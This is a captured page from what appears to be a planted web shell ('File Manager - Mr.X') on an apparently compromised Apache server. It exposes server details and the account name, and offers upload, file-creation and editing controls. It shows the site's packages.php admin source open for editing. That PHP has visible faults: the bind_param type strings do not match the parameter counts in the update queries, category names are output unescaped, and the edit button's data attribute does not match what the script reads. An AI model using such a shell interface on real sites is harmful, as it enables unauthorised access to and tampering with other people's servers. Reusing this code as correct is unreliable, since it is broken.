🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:packages.php
<?php define('PAGE_TITLE', 'Packages'); require_once 'includes/header.php'; $msg = ''; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $action = $_POST['action'] ?? ''; if ($action == 'add' || $action == 'edit') { $cat_id = intval($_POST['category_id']); $name = cleanInput($_POST['name']); $slug = cleanInput($_POST['slug']); $short = cleanInput($_POST['short_description']); $desc = cleanInput($_POST['description']); $price = floatval($_POST['price']); $orig = $_POST['original_price'] ? floatval($_POST['original_price']) : 0; $included = cleanInput($_POST['whats_included']); $extras = cleanInput($_POST['optional_extras']); $featured = isset($_POST['is_featured']) ? 1 : 0; $popular = isset($_POST['is_popular']) ? 1 : 0; $sort = intval($_POST['sort_order']); $image = ''; if (!empty($_FILES['image']['name'])) { $upload = uploadFile($_FILES['image'], __DIR__ . '/../uploads/packages/'); if ($upload) $image = 'uploads/packages/'.$upload; } if ($action == 'add') { $stmt = $conn->prepare("INSERT INTO packages (category_id, name, slug, short_description, description, price, original_price, whats_included, optional_extras, image, is_featured, is_popular, sort_order) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->bind_param("issssddsssiii", $cat_id, $name, $slug, $short, $desc, $price, $orig, $included, $extras, $image, $featured, $popular, $sort); } else { $id = intval($_POST['id']); if ($image) { $stmt = $conn->prepare("UPDATE packages SET category_id=?, name=?, slug=?, short_description=?, description=?, price=?, original_price=?, whats_included=?, optional_extras=?, image=?, is_featured=?, is_popular=?, sort_order=? WHERE id=?"); $stmt->bind_param("issssddsssiii", $cat_id, $name, $slug, $short, $desc, $price, $orig, $included, $extras, $image, $featured, $popular, $sort, $id); } else { $stmt = $conn->prepare("UPDATE packages SET category_id=?, name=?, slug=?, short_description=?, description=?, price=?, original_price=?, whats_included=?, optional_extras=?, is_featured=?, is_popular=?, sort_order=? WHERE id=?"); $stmt->bind_param("issssddsssiii", $cat_id, $name, $slug, $short, $desc, $price, $orig, $included, $extras, $featured, $popular, $sort, $id); } } $stmt->execute(); $msg = '<div class="alert alert-success">Package saved!</div>'; } elseif ($action == 'delete') { $id = intval($_POST['id']); $conn->query("DELETE FROM packages WHERE id=$id"); $msg = '<div class="alert alert-success">Package deleted!</div>'; } } $packages = $conn->query("SELECT p.*, c.name as cname FROM packages p JOIN categories c ON p.category_id=c.id ORDER BY p.id DESC")->fetch_all(MYSQLI_ASSOC); $categories = getCategories(); ?> <div class="d-flex justify-content-between align-items-center mb-4"> <h4 class="fw-bold text-navy mb-0"><i class="bi bi-box-seam text-warning me-2"></i>Packages</h4> <button class="btn btn-premium btn-sm" data-bs-toggle="modal" data-bs-target="#pkgModal"><i class="bi bi-plus-lg me-1"></i>Add Package</button> </div> <?= $msg ?> <div class="premium-card p-4"> <table class="table table-hover datatable"> <thead><tr><th>ID</th><th>Name</th><th>Category</th><th>Price</th><th>Featured</th><th>Popular</th><th>Image</th><th>Action</th></tr></thead> <tbody><?php foreach ($packages as $p): ?> <tr><td><?= $p['id'] ?></td><td><?= htmlspecialchars($p['name']) ?></td><td><?= $p['cname'] ?></td> <td><?= formatPrice($p['price']) ?></td><td><?= $p['is_featured']?'<i class="bi bi-check-circle-fill text-success"></i>':'<i class="bi bi-x-circle text-muted"></i>' ?></td> <td><?= $p['is_popular']?'<i class="bi bi-star-fill text-warning"></i>':'' ?></td> <td><?= $p['image']?'<img src="'.SITE_URL.$p['image'].'" style="height:40px;border-radius:5px;">':'<span class="text-muted">No</span>' ?></td> <td> <button class="btn btn-sm btn-outline-secondary edit-pkg" data='<?= json_encode($p) ?>'><i class="bi bi-pencil"></i></button> <form method="post" class="d-inline" onsubmit="return confirm('Delete?')"><input type="hidden" name="action" value="delete"><input type="hidden" name="id" value="<?= $p['id'] ?>"><button class="btn btn-sm btn-outline-danger"><i class="bi bi-trash"></i></button></form> </td></tr> <?php endforeach; ?></tbody> </table> </div> <div class="modal fade" id="pkgModal"><div class="modal-dialog modal-lg"><div class="modal-content"> <div class="modal-header"><h5 class="modal-title">Package</h5><button type="button" class="btn-close" data-bs-dismiss="modal"></button></div> <form method="post" enctype="multipart/form-data"><div class="modal-body"> <input type="hidden" name="action" id="pkgAction" value="add"><input type="hidden" name="id" id="pkgId" value="0"> <div class="row g-3"> <div class="col-6"><label class="form-label">Category</label><select name="category_id" id="pkgCat" class="form-select" required><?php foreach($categories as $c): ?><option value="<?= $c['id'] ?>"><?= $c['name'] ?></option><?php endforeach; ?></select></div> <div class="col-6"><label class="form-label">Name</label><input type="text" name="name" id="pkgName" class="form-control" required></div> <div class="col-6"><label class="form-label">Slug</label><input type="text" name="slug" id="pkgSlug" class="form-control" required></div> <div class="col-3"><label class="form-label">Price (<?= getSetting('currency')?:'LKR' ?>)</label><input type="number" name="price" id="pkgPrice" class="form-control" step="0.01" required></div> <div class="col-3"><label class="form-label">Original Price</label><input type="number" name="original_price" id="pkgOrig" class="form-control" step="0.01"></div> <div class="col-12"><label class="form-label">Short Description</label><input type="text" name="short_description" id="pkgShort" class="form-control"></div> <div class="col-12"><label class="form-label">Full Description</label><textarea name="description" id="pkgDesc" class="form-control" rows="3"></textarea></div> <div class="col-6"><label class="form-label">What's Included (one per line)</label><textarea name="whats_included" id="pkgInc" class="form-control" rows="3"></textarea></div> <div class="col-6"><label class="form-label">Optional Extras</label><textarea name="optional_extras" id="pkgExtras" class="form-control" rows="3"></textarea></div> <div class="col-3"><label class="form-label">Sort Order</label><input type="number" name="sort_order" id="pkgSort" class="form-control" value="0"></div> <div class="col-3"><div class="form-check mt-4"><input type="checkbox" name="is_featured" id="pkgFeatured" class="form-check-input"><label class="form-check-label">Featured</label></div></div> <div class="col-3"><div class="form-check mt-4"><input type="checkbox" name="is_popular" id="pkgPopular" class="form-check-input"><label class="form-check-label">Popular</label></div></div> <div class="col-3"><label class="form-label">Image</label><input type="file" name="image" class="form-control" accept="image/*"></div> </div> </div><div class="modal-footer"><button type="submit" class="btn btn-premium"><i class="bi bi-save me-1"></i>Save</button></div></form> </div></div></div> <script> $('.edit-pkg').on('click',function(){ var p=$(this).data('pkg');$('#pkgAction').val('edit');$('#pkgId').val(p.id);$('#pkgName').val(p.name);$('#pkgSlug').val(p.slug); $('#pkgCat').val(p.category_id);$('#pkgPrice').val(p.price);$('#pkgOrig').val(p.original_price||''); $('#pkgShort').val(p.short_description||'');$('#pkgDesc').val(p.description||'');$('#pkgInc').val(p.whats_included||''); $('#pkgExtras').val(p.optional_extras||'');$('#pkgSort').val(p.sort_order);$('#pkgFeatured').prop('checked',p.is_featured==1); $('#pkgPopular').prop('checked',p.is_popular==1);$('#pkgModal').modal('show'); }); $('#pkgModal').on('hidden.bs.modal',function(){$('#pkgAction').val('add');$('#pkgId').val(0);$('#pkgName,#pkgSlug,#pkgShort,#pkgDesc,#pkgInc,#pkgExtras').val('');$('#pkgPrice,#pkgOrig,#pkgSort').val(0);$('#pkgFeatured,#pkgPopular').prop('checked',false);$('#pkgCat').val($('#pkgCat option:first').val());}); </script> <?php require_once 'includes/footer.php'; ?>
Save Changes
Cancel
Create New File
Create New Folder